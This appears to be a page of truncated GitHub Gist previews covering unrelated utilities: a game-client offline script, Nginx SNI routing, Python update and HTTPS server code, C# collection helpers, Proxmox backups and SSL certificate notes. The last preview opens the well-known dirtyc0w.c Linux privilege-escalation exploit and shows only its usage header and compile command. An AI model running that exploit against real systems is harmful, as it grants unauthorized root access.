Run offlol.bat
as administrator to appear offline, with any arg to appear online.
$ offlol.bat
Please run as administrator.
admin $ offlol.bat
You will appear offline on League Client.
Nginx can be configured to route to a backend, based on the server's domain name, which is included in the SSL/TLS handshake (Server Name Indication, SNI).
This works for http upstream servers, but also for other protocols, that can be secured with TLS.
nginx -V
for the following:
...
TLS SNI support enabled
def update(dl_url, force_update=False): | |
""" | |
Attempts to download the update url in order to find if an update is needed. | |
If an update is needed, the current script is backed up and the update is | |
saved in its place. | |
""" | |
import urllib | |
import re | |
from subprocess import call | |
def compare_versions(vA, vB): |
using System.Linq; | |
namespace System.Collections.Generic | |
{ | |
// based on http://stackoverflow.com/a/3486820/1858296 | |
public static class SortedDictionaryExtensions | |
{ | |
private static Tuple<int, int> GetPossibleIndices<TKey, TValue>(SortedDictionary<TKey, TValue> dictionary, TKey key, bool strictlyDifferent, out List<TKey> list) | |
{ | |
list = dictionary.Keys.ToList(); |
This script can be used to backup essential configuration files from the Proxmox Virtual Enivronment (PVE) host.
The script will create backups using tar
with specified backup prefix and date and time stamp in the file name. Script will also delete backups that are older then number of days specified.
To create backup script that will be executed every day we can create backup script in /etc/cron.daily/
folder. We need to make it writeable by root (creator) only, but readable and executable by everyone:
touch /etc/cron.daily/pvehost-backup
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ | |
# generate server.xml with the following command: | |
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes | |
# run as follows: | |
# python simple-https-server.py | |
# then in your browser, visit: | |
# https://localhost:4443 | |
import BaseHTTPServer, SimpleHTTPServer | |
import ssl |
import sys,json | |
f = open(sys.argv[1], 'r', encoding="utf8") #input.ipynb | |
j = json.load(f) | |
of = open(sys.argv[2], 'w', encoding="utf8") #output.py | |
if j["nbformat"] >=4: | |
for i,cell in enumerate(j["cells"]): | |
of.write("#cell "+str(i)+"\n") | |
for line in cell["source"]: | |
of.write(line) |
Generate ssl certificates with Subject Alt Names on OSX | |
======================================================= | |
Open `ssl.conf` in a text editor. | |
Edit the domain(s) listed under the `[alt_names]` section so that they match the local domain name you want to use for your project, e.g. | |
DNS.1 = my-project.dev | |
Additional FQDNs can be added if required: |
/* | |
####################### dirtyc0w.c ####################### | |
$ sudo -s | |
# echo this is not a test > foo | |
# chmod 0404 foo | |
$ ls -lah foo | |
-r-----r-- 1 root root 19 Oct 20 15:23 foo | |
$ cat foo | |
this is not a test | |
$ gcc -pthread dirtyc0w.c -o dirtyc0w |